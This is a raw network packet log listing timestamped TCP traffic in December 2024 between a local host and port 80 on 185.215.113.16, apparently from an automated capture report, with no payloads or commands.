Dec 19, 2024 07:57:36.362761974 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.362818003 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.362857103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.363610983 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.363624096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.363635063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.363667011 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.363689899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.363867044 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.363902092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.364653111 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.364664078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.364675999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.364700079 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.364722967 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.365130901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.365176916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.365431070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.365442991 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.365453959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.365482092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.365504980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.365756035 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.365799904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.366362095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.366373062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.366391897 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.366410971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.366436958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.366828918 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.366875887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.367240906 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.367286921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.367394924 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.367407084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.367419958 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.367436886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.367454052 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.368218899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.368231058 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.368242025 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.368273973 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.368287086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.369113922 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.369126081 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.369138002 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.369149923 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.369164944 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.369188070 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.369237900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.369273901 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.370018959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.370029926 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.370045900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.370064974 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.370084047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.370136976 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.370171070 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.370971918 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.370985031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.370995045 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.371023893 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.371043921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.371088982 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.371120930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.371884108 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.371896029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.371916056 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.371936083 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.371954918 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.372008085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.372042894 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.372845888 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.372895002 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.372909069 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.372932911 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.372941017 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.372965097 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.372987986 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.373018980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.373763084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.373774052 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.373785973 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.373807907 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.373821974 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.373879910 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.373914003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.374676943 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.374689102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.374701977 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.374725103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.374748945 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.374830961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.374866962 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.375602961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.375613928 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.375627041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.375648022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.375670910 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.376461029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.376471996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.376483917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.376494884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.376508951 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.376532078 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.377496004 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.377506971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.377517939 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.377531052 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.377546072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.377559900 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.378338099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.378349066 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.378360987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.378372908 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.378381968 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.378395081 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.378420115 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.378829956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.378874063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.557606936 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.557740927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.557753086 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.557759047 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.557759047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.557770967 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.557832003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.557832003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.557869911 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.557918072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.558495998 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.558553934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.558633089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.558685064 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.558864117 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.558877945 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.558921099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.559375048 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.559442043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.559477091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.559489965 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.559521914 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.559564114 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.559577942 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.559626102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.560372114 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.560384989 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.560395956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.560431004 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.560465097 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.560472012 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.560532093 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.561290026 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.561302900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.561315060 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.561347961 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.561382055 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.561512947 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.561568022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.562176943 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.562189102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.562201023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.562237024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.562269926 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.562366962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.562413931 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.563045025 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.563111067 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.563123941 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.563141108 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.563175917 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.563177109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.563324928 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.563374996 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.563992023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.564042091 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.564104080 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.564116001 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.564127922 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.564150095 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.564184904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.564184904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.564879894 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.564930916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.564974070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.564987898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.565017939 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.565048933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.565057039 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.565095901 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.565848112 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.565860987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.565874100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.565912008 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.565953016 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.566548109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.566596985 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.566757917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.566777945 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.566790104 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.566803932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.566840887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.566840887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.567106962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.567154884 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.567699909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.567714930 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.567728996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.567749023 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.567781925 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.567923069 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.567991972 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.568595886 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.568608999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.568620920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.568645000 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.568681955 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.569143057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.569189072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.569520950 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.569535017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.569547892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.569565058 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.569603920 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.569603920 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.569669962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.569709063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.570422888 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.570471048 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.570555925 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.570568085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.570580006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.570594072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.570622921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.570622921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.571400881 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.571413994 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.571424961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.571453094 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.571489096 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.571717978 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.571760893 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.572256088 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.572300911 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.572304010 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.572319031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.572341919 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.572376013 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.572396994 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.572436094 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.573210955 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.573224068 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.573235989 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.573262930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.573290110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.573337078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.573371887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.574131012 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.574142933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.574155092 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.574172974 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.574193001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.574404955 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.574440956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.575038910 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.575052023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.575063944 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.575078964 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.575104952 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.575155020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.575189114 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.575989008 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576003075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576014042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576040030 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.576054096 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.576117039 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576149940 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.576890945 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576934099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.576935053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576948881 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.576967955 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.576981068 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.577033997 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.577069044 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.577790022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.577830076 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.577980042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.577992916 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.578003883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.578016043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.578032970 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.578705072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.578747034 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.578748941 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.578768015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.578785896 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.578802109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.578851938 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.578886032 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.579675913 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.579689026 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.579700947 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.579715014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.579730988 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.579787970 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.579822063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.580606937 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.580619097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.580631018 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.580650091 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.580663919 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.580818892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.580856085 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.581480980 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.581516027 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.624502897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:36.624566078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:36.749771118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.749785900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.749798059 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.749830008 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.749862909 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.750102997 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.750114918 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.750128031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.750135899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.750139952 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.750154018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.750179052 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.750909090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.750952959 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.751027107 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.751039028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.751051903 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.751065969 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.751090050 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.752129078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.752144098 CET	80	49801	185.215.113.16	192.168.2.4
